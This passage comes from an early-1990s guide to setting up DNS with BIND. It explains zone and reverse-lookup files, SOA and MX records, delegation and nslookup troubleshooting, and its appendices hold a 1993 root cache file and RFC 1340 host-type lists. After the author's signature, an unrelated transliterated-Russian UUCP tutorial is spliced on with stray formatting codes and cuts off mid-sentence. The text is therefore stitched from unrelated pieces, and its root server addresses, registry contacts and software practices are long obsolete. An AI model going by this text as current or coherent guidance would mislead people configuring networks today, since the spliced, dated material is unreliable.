put the entire domain name in.  You need forwards and reverse lookups.  The
first value is the domain to append to every name included in that file.
(There are some exceptions, but they will be explained later)  The name at
the end of the line is the name of the file (relative to /etc of the
directory if you specified one).  The filename can have slashes in it to
refer to subdirectories so if you have a lot of domains you may want to
split it up.

BE VERY CAREFUL TO PUT THE NUMBERS BACK TO FRONT FOR THE REVERSE LOOK UP
FILE.  The example given above is for the subnet ecel.uwa.edu.au whose IP
address is 130.95.4.*.  The reverse name must be 4.95.130.in-addr.arpa.
It must be backwards and it must end with .in-addr.arpa.  If your reverse
name lookups don't work, check this.  If they still don't work, check this
again.

forwarders

This is a list of IP numbers for forward requests for sites about which we
are unsure.  A good choice here is the name server which is authoritive for
the zone above you.

secondary (This line is not in the example, but is worth mentioning.)

A secondary line indicates that you wish to be a secondary name server for
this domain.  You do not need to do this usually.  All it does is help make
the DNS more robust.  You should have at least one secondary server for
your site, but you do not need to be a secondary server for anyone else.
You can by all means, but you don't need to be.  If you want to be a
secondary server for another domain, then place the line

secondary         gu.uwa.edu.au   130.95.100.3 130.95.128.1

in your named.boot.  This will make your named try the servers on both of
the machines specified to see if it can obtain the information about those
domains.  You can specify a number of IP addresses for the machines to
query that probably depends on your machine.  Your copy of named will upon
startup go and query all the information it can get about the domain in
question and remember it and act as though it were authoritive for that
domain.

Next you will want to start creating the data files that contain the name
definitions.

The cache file:

You can get a copy of the cache file from FTP.RS.INTERNIC.NET.  The current
copy can be found in Appendix A.

The Forward Mapping file:
The file ecel.uwa.edu.au. will be used for the example with a couple of
machines left in for the purpose of the exercise.  Here is a copy of what
the file looks like with explanations following.

; Authoritative data for ecel.uwa.edu.au
;
@		IN     SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
				93071200	; Serial (yymmddxx)
				10800		; Refresh 3 hours
				3600		; Retry   1 hour
				3600000 	; Expire  1000 hours
				86400 )		; Minimum 24 hours
		IN	A		130.95.4.2
		IN	MX	100  	decel
		IN	MX	150	uniwa.uwa.edu.au.
		IN	MX	200	relay1.uu.net.
		IN	MX	200	relay2.uu.net.

localhost	IN	A		127.0.0.1

decel		IN	A		130.95.4.2
		IN	HINFO	SUN4/110	 UNIX
		IN	MX	100	decel
		IN	MX	150	uniwa.uwa.edu.au.
		IN	MX	200	relay1.uu.net
		IN	MX	200	relay2.uu.net

gopher		IN	CNAME		decel.ecel.uwa.edu.au.

accfin		IN	A		130.95.4.3
		IN	HINFO	SUN4/110	 UNIX
		IN	MX	100	decel
		IN	MX	150	uniwa.uwa.edu.au.
		IN	MX	200	relay1.uu.net
		IN	MX	200	relay2.uu.net

chris-mac	IN	A		130.95.4.5
		IN	HINFO	MAC-II	MACOS

The comment character is ';' so the first two lines are just comments
indicating the contents of the file.

All values from here on have IN in them.  This indicates that the value is
an InterNet record.  There are a couple of other types, but all you need
concern yourself with is internet ones.

The SOA record is the Start Of Authority record.  It contains the
information that other nameservers will learn about this domain and how to
treat the information they are given about it.  The '@' as the first
character in the line indicates that you wish to define things about the
domain for which this file is responsible.  The domain name is found in the
named.boot file in the corresponding line to this filename.  All
information listed refers to the most recent machine/domain name so all
records from the '@' until 'localhost' refer to the '@'.  The SOA record
has 5 magic numbers.  First magic number is the serial number.  If you
change the file, change the serial number.  If you don't, no other name
servers will update their information.  The old information will sit around
for a very long time.

Refresh is the time between refreshing information about the SOA (correct
me if I am wrong).  Retry is the frequency of retrying if an authorative
server cannot be contacted.  Expire is how long a secondary name server
will keep information about a zone without successfully updating it or
confirming that the data is up to date.  This is to help the information
withstand fairly lengthy downtimes of machines or connections in the
network without having to recollect all the information.  Minimum is the
default time to live value handed out by a nameserver for all records in
a zone without an explicit TTL value. This is how long the data will live
after being handed out.  The two pieces of information before the 5 magic
numbers are the machine that is considered the origin of all of this
information.  Generally the machine that is running your named is a good
one for here.  The second is an email address for someone who can fix any
problems that may occur with the DNS.  Good ones here are postmaster,
hostmaster or root.  NOTE: You use dots and not '@' for the email address.

eg  root.decel.ecel.uwa.edu.au is correct
     and
    root@decel.ecel.uwa.edu.au is incorrect.

We now have an address to map ecel.uwa.edu.au to.  The address is
130.95.4.2 which happens to be decel, our main machine.  If you try to find
an IP number for the domain ecel.uwa.edu.au it will get you the machine
decel.ecel.uwa.edu.au's IP number.  This is a nicety which means that
people who have non-MX record mailers can still mail fred@ecel.uwa.edu.au
and don't have to find the name of a machine name under the domain to mail.

Now we have a couple of MX records for the domain itself.  The MX records
specify where to send mail destined for the machine/domain that the MX
record is for.  In this case we would prefer if all mail for
fred@ecel.uwa.edu.au is sent to decel.ecel.uwa.edu.au.  If that does not
work, we would like it to go to uniwa.uwa.edu.au because there are a number
of machines that might have no idea how to get to us, but may be able to get
to uniwa.  And failing that, try the site relay1.uu.net.  A small number
indicates that this site should be tried first.  The larget the number the
further down the list of sites to try the site is.  NOTE: Not all machines
have mailers that pay attention to MX records.  Some only pay attention to
IP numbers, which is really stupid.  All machines are required to have
MX-capable Mail Transfer Agents (MTA) as there are many addresses that can
only be reached via this means.

There is an entry for localhost now.  Note that this is somewhat of a
kludge and should probably be handled far more elegantly.  By placing
localhost here, a machine comes into existance called
localhost.ecel.uwa.edu.au.  If you finger it, or telnet to it, you get your
own machine, because the name lookup returns 127.0.0.1 which is the special
case for your own machine.  I have used a couple of different DNS packages.
The old BSD one let you put things into the cache which would always work,
but would not be exported to other nameservers.  In the newer Sun one, they
are left in the cache and are mostly ignored once named is up and running.
This isn't a bad solution, its just not a good one.

Decel is the main machine in our domain.  It has the IP number 130.95.4.2
and that is what this next line shows.  It also has a HINFO entry.  HINFO
is Host Info which is meant to be some sort of an indication of what the
machine is and what it runs.  The values are two white space seperated
values.  First being the hardware and second being the software.  HINFO is
not compulsory, its just nice to have sometimes.  We also have some MX
records so that mail destined for decel has some other avenues before it
bounces back to the sender if undeliverable.

It is a good idea to give all machines capable of handling mail an MX
record because this can be cached on remote machines and will help to
reduce the load on the network.

gopher.ecel.uwa.edu.au is the gopher server in our division.  Now because
we are cheapskates and don't want to go and splurge on a seperate machine
just for handling gopher requests we have made it a CNAME to our main
machine.  While it may seem pointless it does have one main advantage.
When we discover that our placing terrabytes of popular quicktime movies
on our gopher server (no we haven't and we don't intend to) causes an
unbearable load on our main machine, we can quickly move the CNAME to
point at a new machine by changing the name mentioned in the CNAME.  Then
the slime of the world can continue to get their essential movies with a
minimal interuption to the network.  Other good CNAMEs to maintain are
things like ftp, mailhost, netfind, archie, whois, and even dns (though the
most obvious use for this fails).  It also makes it easier for people to
find these services in your domain.

We should probably start using WKS records for things like gopher and whois
rather than making DNS names for them.  The tools are not in wide
circulation for this to work though.  (Plus all those comments in many DNS
implementation of "Not implemented" next to the WKS record)

Finally we have a macintosh which belongs to my boss.  All it needs is an
IP number, and we have included the HINFO so that you can see that it is in
fact a macII running a Mac System.  To get the list of preferred values,
you should get a copy of RFC 1340.  It lists lots of useful information
such as /etc/services values, ethernet manufacturer hardware addresses,
HINFO defualts and many others.  I will include the list as it stands at
the moment, but if any RFC superceeds 1340, then it will have a more
complete list.  See Appendix B for that list.

NOTE:  If Chris had a very high profile and wanted his mac to appear like a
fully connected unix machine as far as internet services were concerned, he
could simply place an MX record such as

	IN	MX	100  decel

after his machine and any mail sent to chris@chris-mac.ecel.uwa.edu.au
would be automatically rerouted to decel.

The Reverse Mapping File

The reverse name lookup is handled in a most bizarre fashion.  Well it all
makes sense, but it is not immediately obvious.

All of the reverse name lookups are done by finding the PTR record
associated with the name w.x.y.z.in-addr.arpa.  So to find the name
associated with the IP number 1.2.3.4, we look for information stored in
the DNS under the name 4.3.2.1.in-addr.arpa.  They are organised this way
so that when you are allocated a B class subnet for example, you get all of
the IP numbers in the domain 130.95.  Now to turn that into a reverse name
lookup domain, you have to invert the numbers or your registered domains
will be spread all over the place.  It is a mess and you need not understand
the finer points of it all.  All you need to know is that you put the
reverse name lookup files back to front.

Here is the sample reverse name lookup files to go with our example.

0.0.127.in-addr.arpa
--
;  Reverse mapping of domain names 0.0.127.in-addr.arpa
;  Nobody pays attention to this, it is only so 127.0.0.1 -> localhost.
@		IN	SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
				91061801	; Serial (yymmddxx)
				10800		; Refresh 3 hours
				3600		; Retry   1 hour
				3600000 	; Expire  1000 hours
				86400 )		; Minimum 24 hours
;
1		IN	PTR	    localhost.ecel.uwa.edu.au.
--

4.95.130.in-addr.arpa
--
;	reverse mapping of domain names 4.95.130.in-addr.arpa
;
@		IN	SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
				92050300	; Serial (yymmddxx format)
				10800		; Refresh	3hHours
				3600		; Retry		1 hour
				3600000		; Expire	1000 hours
				86400 )		; Minimum	24 hours
2		IN	PTR	decel.ecel.uwa.edu.au.
3		IN	PTR	accfin.ecel.uwa.edu.au.
5		IN	PTR	chris-mac.ecel.uwa.edu.au.
--

It is important to remember that you must have a second start of authority
record for the reverse name lookups.  Each reverse name lookup file must
have its own SOA record.  The reverse name lookup on the 127 domain is
debatable seeing as there is likely to be only one number in the file and
it is blatantly obvious what it is going to map to.

The SOA details are the same as in the forward mapping.

Each of the numbers listed down the left hand side indicates that the line
contains information for that number of the subnet.  Each of the subnets
must be the more significant digits.  eg the 130.95.4 of an IP number
130.95.4.2 is implicit for all numbers mentioned in the file.

The PTR must point to a machine that can be found in the DNS.  If the name
is not in the DNS, some versions of named just bomb out at this point.

Reverse name lookups are not compulsory, but nice to have.  It means that
when people log into machines, they get names indicating where they are
logged in from.  It makes it easier for you to spot things that are wrong
and it is far less cryptic than having lots of numbers everywhere.  Also if
you do not have a name for your machine, some brain dead protocols such as
talk will not allow you to connect.

Since I had this I had one suggestion of an alternative way to do the
localhost entry.  I think it is a matter of personal opinion so I'll
include it here in case anyone things that this is a more appropriate
method.

The following is courtesy of jep@convex.nl (JEP de Bie)

  The way I did it was:

  1) add in /etc/named.boot:

     primary   .                             localhost
     primary   127.in-addr.ARPA.             IP127

(Craig: It has been suggested by Mark Andrews that this is a bad practice
 particularly if you have upgraded to Bind 4.9.  You also run the risk of
 polluting the root name servers.  This comes down to a battle of idealogy
 and practicality.  Think twice before declaring yourself authorative for
 the root domain.)

  So I not only declare myself (falsely? - probably, but nobody is going to
  listen anyway most likely [CPR]:-) athorative in the 127.in-addr.ARPA domain
  but also in the . (root) domain.

  2) the file localhost has:

     $ORIGIN .
     localhost       IN      A       127.0.0.1

  3) and the file IP127:

     $ORIGIN 127.in-addr.ARPA.
     1.0.0   IN      PTR     localhost.

  4) and I have in my own domain file (convex.nl) the line:

     $ORIGIN convex.nl.
     localhost       IN      CNAME   localhost.

  The advantage (elegancy?) is that a query (A) of localhost. gives the
  reverse of the query of 1.0.0.127.in-addr.ARPA. And it also shows that
  localhost.convex.nl is only a nickname to something more absolute.
  (While the notion of localhost is of course relative :-)).

  And I also think there is a subtle difference between the lines

    primary   127.in-addr.ARPA.             IP127
      and
    primary   0.0.127.in-addr.ARPA.         4.95.130.domain
                                        =============
                                         JEP de Bie
                                        jep@convex.nl
                                        =============



Delegating authority for domains within your domain:

When you start having a very big domain that can be broken into logical and
seperate entities that can look after their own DNS information, you will
probably want to do this.  Maintain a central area for the things that
everyone needs to see and delegate the authority for the other parts of the
organisation so that they can manage themselves.

Another essential piece of information is that every domain that exists
must have it NS records associated with it.  These NS records denote the
name servers that are queried for information about that zone.  For your
zone to be recognised by the outside world, the server responsible for the
zone above you must have created a NS record for your machine in your
domain.  For example, putting the computer club onto the network and giving
them control over their own part of the domain space we have the following.

The machine authorative for gu.uwa.edu.au is mackerel and the machine
authorative for ucc.gu.uwa.edu.au is marlin.

in mackerel's data for gu.uwa.edu.au we have the following

@		IN	SOA ...
		IN	A	130.95.100.3
		IN	MX	mackerel.gu.uwa.edu.au.
		IN	MX	uniwa.uwa.edu.au.

marlin		IN	A	130.95.100.4

ucc		IN	NS	  marlin.gu.uwa.edu.au.
		IN	NS	mackerel.gu.uwa.edu.au.

Marlin is also given an IP in our domain as a convenience.  If they blow up
their name serving there is less that can go wrong because people can still
see that machine which is a start.  You could place "marlin.ucc" in the
first column and leave the machine totally inside the ucc domain as well.

The second NS line is because mackerel will be acting as secondary name
server for the ucc.gu domain.  Do not include this line if you are not
authorative for the information included in the sub-domain.


Troubleshooting your named:

Named doesn't work!  What is wrong?

Step 1:  Run nslookup and see what nameserver it tries to connect you to.
If nslookup connects you to the wrong nameserver, create a /etc/resolv.conf
file that points your machine at the correct nameserver.  If there is no
resolv.conf file, the the resolver uses the nameserver on the local
machine.

Step 2:  Make sure that named is actually running.

Step 3:  Restart named and see if you get any error messages on the
console and in also check /usr/adm/messages.

Step 4:  If named is running, nslookup connects to the appropriate
nameserver and nslookup can answer simple questions, but other programs
such as 'ping' do not work with names, then you need to install resolv+
most likely.


I changed my named database and my local machine has noticed, but nobody
else has the new information?

Change the serial number in the SOA for any domains that you modified and
restart named.  Wait an hour and check again.  The information propogates
out.  It won't change immediately.


My local machine knows about all the name server information, but no other
sites know about me?

Find an upstream nameserver (one that has an SOA for something in your
domain) and ask them to be a secondary name server for you.  eg if you are
ecel.uwa.edu.au, ask someone who has an SOA for the domain uwa.edu.au.
Get NS records (and glue) added to your parent zone for your zone. This is
called delegating. It should be done formally like this or you will get
inconsistant answers out of the DNS.  ALL NAMSERVERS FOR YOUR ZONE SHOULD
BE LISTED IN THIS MANNER.


My forward domain names work, but the backward names do not?

Make sure the numbers are back to front and have the in-addr.arpa on the
end.
Make sure you reverse zone is registered. For Class C nets this can be done
by mailing to hostmaster@internic.net. For class A & B nets make sure that
you are registeres with the primary for your net and that the net itself
is registered with hostmaster@internic.net.


How to get useful information from nslookup:

Nslookup is a very useful program but I'm sure there are less than 20
people worldwide who know how to use it to its full usefulness.  I'm most
certainly not one of them.  If you don't like using nslookup, there is at
least one other program called dig, that has most/all(?) of the
functionality of nslookup and is a hell of a lot easier to use.

I won't go into dig much here except to say that it is a lot easier to get
this information out of.  I won't bother because nslookup ships with almost
all machines that come with network software.

To run nslookup, you usually just type nslookup.  It will tell you the
server it connects to.  You can specify a different server if you want.
This is useful when you want to tell if your named information is
consistent with other servers.

Getting name to number mappings.

Type the name of the machine.  Typing 'decel' is enough if the machine is
local.

(Once you have run nslookup successfully)
> decel
Server:  ecel.uwa.edu.au
Address:  130.95.4.2

Name:    decel.ecel.uwa.edu.au
Address:  130.95.4.2

>

One curious quirk of some name resolvers is that if you type a
machine name, they will try a number of permutations.  For example if my
machine is in the domain ecel.uwa.edu.au and I try to find a machine
called fred, the resolver will try the following.

  fred.ecel.uwa.edu.au.
  fred.uwa.edu.au.
  fred.edu.au.
  fred.au.
  fred.

This can be useful, but more often than not, you would simply prefer a good
way to make aliases for machines that are commonly referenced.  If you are
running resolv+, you should just be able to put common machines into the
host file.

DIG: dig 

Getting number to name mappings.

Nslookup defaults to finding you the Address of the name specified.  For
reverse lookups you already have the address and you want to find the
name that goes with it.  If you read and understood the bit above where it
describes how to create the number to name mapping file, you would guess
that you need to find the PTR record instead of the A record.  So you do
the following.

> set type=ptr
> 2.4.95.130.in-addr.arpa
Server:  decel.ecel.uwa.edu.au
Address:  130.95.4.2

2.4.95.130.in-addr.arpa host name = decel.ecel.uwa.edu.au
>

nslookup tells you that the ptr for the machine name
2.4.95.130.in-addr.arpa points to the host decel.ecel.uwa.edu.au.

DIG: dig -x 

Finding where mail goes when a machine has no IP number.

When a machine is not IP connected, it needs to specify to the world, where
to send the mail so that it can dial up and collect it every now and then.
This is accomplished by setting up an MX record for the site and not giving
it an IP number.  To get the information out of nslookup as to where the
mail goes, do the following.

> set type=mx
> dialix.oz.au
Server:  decel.ecel.uwa.oz.au
Address:  130.95.4.2

Non-authoritative answer:
dialix.oz.au    preference = 100, mail exchanger = uniwa.uwa.OZ.AU
dialix.oz.au    preference = 200, mail exchanger = munnari.OZ.AU
Authoritative answers can be found from:
uniwa.uwa.OZ.AU inet address = 130.95.128.1
munnari.OZ.AU   inet address = 128.250.1.21
munnari.OZ.AU   inet address = 192.43.207.1
mulga.cs.mu.OZ.AU       inet address = 128.250.35.21
mulga.cs.mu.OZ.AU       inet address = 192.43.207.2
dmssyd.syd.dms.CSIRO.AU inet address = 130.155.16.1
ns.UU.NET       inet address = 137.39.1.3

You tell nslookup that you want to search for mx records and then you give
it the name of the machine.  It tells you the preference for the mail
(small means more preferable), and who the mail should be sent to.  It also
includes sites that are authorative (have this name in their named database
files) for this MX record.  There are multiple sites as a backup.  As can
be seen, our local public internet access company dialix would like all of
their mail to be sent to uniwa, where they collect it from.  If uniwa is
not up, send it to munnari and munnari will get it to uniwa eventually.

NOTE: For historical reasons Australia used to be .oz which was changed to
oz.au to move to the ISO standard extensions upon the advent of IP.  We
are now moving to a more normal heirarchy which is where the .edu.au comes
from.  Pity, I liked having oz.

DIG: dig  mx

Getting a list of machines in a domain from nslookup.

Find a server that is authorative for the domain or just generally all
knowing.  To find a good server, find all the soa records for a given
domain.  To do this, you set type=soa and enter the domain just like in the
two previous examples.

Once you have a server type

> ls gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name            Internet address
 gu                             server = mackerel.gu.uwa.edu.au
 gu                             server = uniwa.uwa.edu.au
 gu                             130.95.100.3
 snuffle-upagus                 130.95.100.131
 mullet                         130.95.100.2
 mackerel                       130.95.100.3
 marlin                         130.95.100.4
 gugate                         130.95.100.1
 gugate                         130.95.100.129
 helpdesk                       130.95.100.180
 lan                            130.95.100.0
 big-bird                       130.95.100.130

To get a list of all the machines in the domain.

If you wanted to find a list of all of the MX records for the domain, you
can put a -m flag in the ls command.

> ls -m gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name            Metric Host
 gu                             100  mackerel.gu.uwa.edu.au
 gu                             200  uniwa.uwa.edu.au

This only works for a limited selection of the different types.

DIG: dig axfr  @



Appendix A


;
;       This file holds the information on root name servers needed to
;       initialize cache of Internet domain name servers
;       (e.g. reference this file in the "cache  .  "
;       configuration file of BIND domain name servers).
;
;       This file is made available by InterNIC registration services
;       under anonymous FTP as
;           file                /domain/named.root
;           on server           FTP.RS.INTERNIC.NET
;       -OR- under Gopher at RS.INTERNIC.NET
;           under menu          InterNIC Registration Services (NSI)
;              submenu          InterNIC Registration Archives
;           file                named.root
;
;       last update:    April 21, 1993
;       related version of root zone:   930421
;
                        99999999 IN  NS    NS.INTERNIC.NET.
NS.INTERNIC.NET.         99999999     A     198.41.0.4
                        99999999     NS    KAVA.NISC.SRI.COM.
KAVA.NISC.SRI.COM.       99999999     A     192.33.33.24
                        99999999     NS    C.NYSER.NET.
C.NYSER.NET.             99999999     A     192.33.4.12
                        99999999     NS    TERP.UMD.EDU.
TERP.UMD.EDU.            99999999     A     128.8.10.90
                        99999999     NS    NS.NASA.GOV.
NS.NASA.GOV.             99999999     A     128.102.16.10
                         99999999     A     192.52.195.10
                        99999999     NS    NS.NIC.DDN.MIL.
NS.NIC.DDN.MIL.          99999999     A     192.112.36.4
                        99999999     NS    AOS.ARL.ARMY.MIL.
AOS.ARL.ARMY.MIL.        99999999     A     128.63.4.82
                         99999999     A     192.5.25.82
                        99999999     NS    NIC.NORDU.NET.
NIC.NORDU.NET.           99999999     A     192.36.148.17
; End of File


Appendix B

An Excerpt from
RFC 1340		    Assigned Numbers		       July 1992


			       MACHINE NAMES

   These are the Official Machine Names	as they	appear in the Domain Name
   System HINFO	records	and the	NIC Host Table.	 Their use is described	in
   RFC-952 [53].

   A machine name or CPU type may be up	to 40 characters taken from the
   set of uppercase letters, digits, and the two punctuation characters
   hyphen and slash.  It must start with a letter, and end with	a letter
   or digit.

      ALTO				    DEC-1080
      ALTOS-6800			    DEC-1090
      AMDAHL-V7				    DEC-1090B
      APOLLO				    DEC-1090T
      ATARI-104ST			    DEC-2020T
      ATT-3B1				    DEC-2040
      ATT-3B2				    DEC-2040T
      ATT-3B20				    DEC-2050T
      ATT-7300				    DEC-2060
      BBN-C/60				    DEC-2060T
      BURROUGHS-B/29			    DEC-2065
      BURROUGHS-B/4800			    DEC-FALCON
      BUTTERFLY				    DEC-KS10
      C/30				    DEC-VAX-11730
      C/70				    DORADO
      CADLINC				    DPS8/70M
      CADR				    ELXSI-6400
      CDC-170				    EVEREX-386
      CDC-170/750			    FOONLY-F2
      CDC-173				    FOONLY-F3
      CELERITY-1200			    FOONLY-F4
      CLUB-386				    GOULD
      COMPAQ-386/20			    GOULD-6050
      COMTEN-3690			    GOULD-6080
      CP8040				    GOULD-9050
      CRAY-1				    GOULD-9080
      CRAY-X/MP				    H-316
      CRAY-2				    H-60/68
      CTIWS-117				    H-68
      DANDELION				    H-68/80
      DEC-10				    H-89
      DEC-1050				    HONEYWELL-DPS-6
      DEC-1077				    HONEYWELL-DPS-8/70
      HP3000				    ONYX-Z8000
      HP3000/64				    PDP-11
      IBM-158				    PDP-11/3
      IBM-360/67			    PDP-11/23
      IBM-370/3033			    PDP-11/24
      IBM-3081				    PDP-11/34
      IBM-3084QX			    PDP-11/40
      IBM-3101				    PDP-11/44
      IBM-4331				    PDP-11/45
      IBM-4341				    PDP-11/50
      IBM-4361				    PDP-11/70
      IBM-4381				    PDP-11/73
      IBM-4956				    PE-7/32
      IBM-6152				    PE-3205
      IBM-PC				    PERQ
      IBM-PC/AT				    PLEXUS-P/60
      IBM-PC/RT				    PLI
      IBM-PC/XT				    PLURIBUS
      IBM-SERIES/1			    PRIME-2350
      IMAGEN				    PRIME-2450
      IMAGEN-8/300			    PRIME-2755
      IMSAI				    PRIME-9655
      INTEGRATED-SOLUTIONS		    PRIME-9755
      INTEGRATED-SOLUTIONS-68K		    PRIME-9955II
      INTEGRATED-SOLUTIONS-CREATOR	    PRIME-2250
      INTEGRATED-SOLUTIONS-CREATOR-8	    PRIME-2655
      INTEL-386				    PRIME-9955
      INTEL-IPSC			    PRIME-9950
      IS-1				    PRIME-9650
      IS-68010				    PRIME-9750
      LMI				    PRIME-2250
      LSI-11				    PRIME-750
      LSI-11/2				    PRIME-850
      LSI-11/23				    PRIME-550II
      LSI-11/73				    PYRAMID-90
      M68000				    PYRAMID-90MX
      MAC-II				    PYRAMID-90X
      MASSCOMP				    RIDGE
      MC500				    RIDGE-32
      MC68000				    RIDGE-32C
      MICROPORT				    ROLM-1666
      MICROVAX				    S1-MKIIA
      MICROVAX-I			    SMI
      MV/8000				    SEQUENT-BALANCE-8000
      NAS3-5				    SIEMENS
      NCR-COMTEN-3690			    SILICON-GRAPHICS
      NEXT/N1000-316			    SILICON-GRAPHICS-IRIS
      NOW				    SGI-IRIS-2400
      SGI-IRIS-2500			    SUN-3/50
      SGI-IRIS-3010			    SUN-3/60
      SGI-IRIS-3020			    SUN-3/75
      SGI-IRIS-3030			    SUN-3/80
      SGI-IRIS-3110			    SUN-3/110
      SGI-IRIS-3115			    SUN-3/140
      SGI-IRIS-3120			    SUN-3/150
      SGI-IRIS-3130			    SUN-3/160
      SGI-IRIS-4D/20			    SUN-3/180
      SGI-IRIS-4D/20G			    SUN-3/200
      SGI-IRIS-4D/25			    SUN-3/260
      SGI-IRIS-4D/25G			    SUN-3/280
      SGI-IRIS-4D/25S			    SUN-3/470
      SGI-IRIS-4D/50			    SUN-3/480
      SGI-IRIS-4D/50G			    SUN-4/60
      SGI-IRIS-4D/50GT			    SUN-4/110
      SGI-IRIS-4D/60			    SUN-4/150
      SGI-IRIS-4D/60G			    SUN-4/200
      SGI-IRIS-4D/60T			    SUN-4/260
      SGI-IRIS-4D/60GT			    SUN-4/280
      SGI-IRIS-4D/70			    SUN-4/330
      SGI-IRIS-4D/70G			    SUN-4/370
      SGI-IRIS-4D/70GT			    SUN-4/390
      SGI-IRIS-4D/80GT			    SUN-50
      SGI-IRIS-4D/80S			    SUN-100
      SGI-IRIS-4D/120GTX		    SUN-120
      SGI-IRIS-4D/120S			    SUN-130
      SGI-IRIS-4D/210GTX		    SUN-150
      SGI-IRIS-4D/210S			    SUN-170
      SGI-IRIS-4D/220GTX		    SUN-386i/250
      SGI-IRIS-4D/220S			    SUN-68000
      SGI-IRIS-4D/240GTX		    SYMBOLICS-3600
      SGI-IRIS-4D/240S			    SYMBOLICS-3670
      SGI-IRIS-4D/280GTX		    SYMMETRIC-375
      SGI-IRIS-4D/280S			    SYMULT
      SGI-IRIS-CS/12			    TANDEM-TXP
      SGI-IRIS-4SERVER-8		    TANDY-6000
      SPERRY-DCP/10			    TEK-6130
      SUN				    TI-EXPLORER
      SUN-2				    TP-4000
      SUN-2/50				    TRS-80
      SUN-2/100				    UNIVAC-1100
      SUN-2/120				    UNIVAC-1100/60
      SUN-2/130				    UNIVAC-1100/62
      SUN-2/140				    UNIVAC-1100/63
      SUN-2/150				    UNIVAC-1100/64
      SUN-2/160				    UNIVAC-1100/70
      SUN-2/170				    UNIVAC-1160
      UNKNOWN
      VAX-11/725
      VAX-11/730
      VAX-11/750
      VAX-11/780
      VAX-11/785
      VAX-11/790
      VAX-11/8600
      VAX-8600
      WANG-PC002
      WANG-VS100
      WANG-VS400
      WYSE-386
      XEROX-1108
      XEROX-8010
      ZENITH-148

			       SYSTEM NAMES

   These are the Official System Names as they appear in the Domain Name
   System HINFO	records	and the	NIC Host Table.	 Their use is described
   in RFC-952 [53].

   A system name may be	up to 40 characters taken from the set of upper-
   case	letters, digits, and the three punctuation characters hyphen,
   period, and slash.  It must start with a letter, and	end with a
   letter or digit.

   AEGIS		     LISP		       SUN OS 3.5
   APOLLO		     LISPM		       SUN OS 4.0
   AIX/370		     LOCUS		       SWIFT
   AIX-PS/2		     MACOS		       TAC
   BS-2000		     MINOS		       TANDEM
   CEDAR		     MOS		       TENEX
   CGW			     MPE5		       TOPS10
   CHORUS		     MSDOS		       TOPS20
   CHRYSALIS		     MULTICS		       TOS
   CMOS			     MUSIC		       TP3010
   CMS			     MUSIC/SP		       TRSDOS
   COS			     MVS		       ULTRIX
   CPIX			     MVS/SP		       UNIX
   CTOS			     NEXUS		       UNIX-BSD
   CTSS			     NMS		       UNIX-V1AT
   DCN			     NONSTOP		       UNIX-V
   DDNOS		     NOS-2		       UNIX-V.1
   DOMAIN		     NTOS		       UNIX-V.2
   DOS			     OS/DDP		       UNIX-V.3
   EDX			     OS/2		       UNIX-PC
   ELF			     OS4		       UNKNOWN
   EMBOS		     OS86		       UT2D
   EMMOS		     OSX		       V
   EPOS			     PCDOS		       VM
   FOONEX		     PERQ/OS		       VM/370
   FUZZ			     PLI		       VM/CMS
   GCOS			     PSDOS/MIT		       VM/SP
   GPOS			     PRIMOS		       VMS
   HDOS			     RMX/RDOS		       VMS/EUNICE
   IMAGEN		     ROS		       VRTX
   INTERCOM		     RSX11M		       WAITS
   IMPRESS		     RTE-A		       WANG
   INTERLISP		     SATOPS		       WIN32
   IOS			     SCO-XENIX/386	       X11R3
   IRIX			     SCS		       XDE
   ISI-68020		     SIMP		       XENIX
   ITS			     SUN



Appendix C     Installing DNS on a Sun when running NIS

====================
 2)     How to get DNS to be used when running NIS ?

        First setup the appropriate /etc/resolv.conf file.
        Something like this should do the "trick".

        ;
        ; Data file for a client.
        ;
        domain          local domain
        nameserver      address of primary domain nameserver
        nameserver      address of secondary domain nameserver

        where:  "local domain" is the domain part of the hostnames.
                 For example, if your hostname is "thor.ece.uc.edu"
                 your "local domain" is "ece.uc.edu".

        You will need to put a copy of this resolv.conf on
        all NIS(YP) servers including slaves.

        Under SunOS 4.1 and greater, change the "B=" at the top
        of the /var/yp/Makefile to "B=-b" and setup NIS in the
        usual fashion.

        You will need reboot or restart ypserv for these changes
        to take affect.

        Under 4.0.x, edit the Makefile or apply the following "diff":

*** Makefile.orig       Wed Jan 10 13:22:11 1990
--- Makefile    Wed Jan 10 13:22:01 1990
***************
*** 63 ****
!                   | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byname; \
--- 63 ----
!                   | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byname; \
***************
*** 66 ****
!                   | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
--- 66 ----
!                   | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
====================

--
Craig Richmond.  Computer Officer -  Dept of Economics (morning) 380 3860
  University of Western Australia    Dept of Education (afternoon)   2368
craig@ecel.uwa.edu.au Dvorak Keyboards RULE!  "Messes are only acceptable
if users make them.  Applications aren't allowed this freedom" I.M.VI 2-4
.
        &dDUUCP - Unix to Unix Copy&d@

Sistema peresylki fajlov po telefonu.

Esli  uucp  pravil'no  skonfigurirovano,  to  ego ispol'zovanie
vyglyadit primerno tak:

   uucp -r moj_fajl  'pulsar!fajl_tam'

pereshlet  moj_fajl  na  udalennuyu  mashinu  pulsar. Hotya, skoree
vsego ne  sdelaet,  iz-za  ogranichenij  na  prava  dostupa.  A,
vprochem, takaya komanda skoree vsego srabotaet:

   uucp -r moj_fajl  'pulsar!~'

cherez nekotoroe vremya etot fajl vy smozhete obnaruzhit' na mashine
pulsar v kataloge

    /usr/spool/uucppublic/

v etot katalog razresheno kopirovanie s udalennyh mashin, dlya ne-
go ispol'zuetsya special'noe oboznachenie: "~"

Pust' vas ne udivlyaet, chto v komande uucp  ispol'zovalis'  odi-
narnye  kavychki.  Oni  nuzhny, chtoby zaekranirovat' "!" i "~" ot
vashego komandnogo interpretatora ksh ili bash. Klyuch -r v koman-
de uucp nuzhen, chtoby NE ZASTAVLYATX nashu mashinu nemedlenno nachi-
nat' zvonit' na pulsar. Ona sama  pozvonit,  v  predusmotrennoe
dlya etogo vremya.

uucp podderzhivaetsya na dvuh urovnyah:
  1. Pol'zovatel'skij. |to komandy uucp - postanovka fajla
v ochered' na udalennuyu peresylku, i uux - postanovka
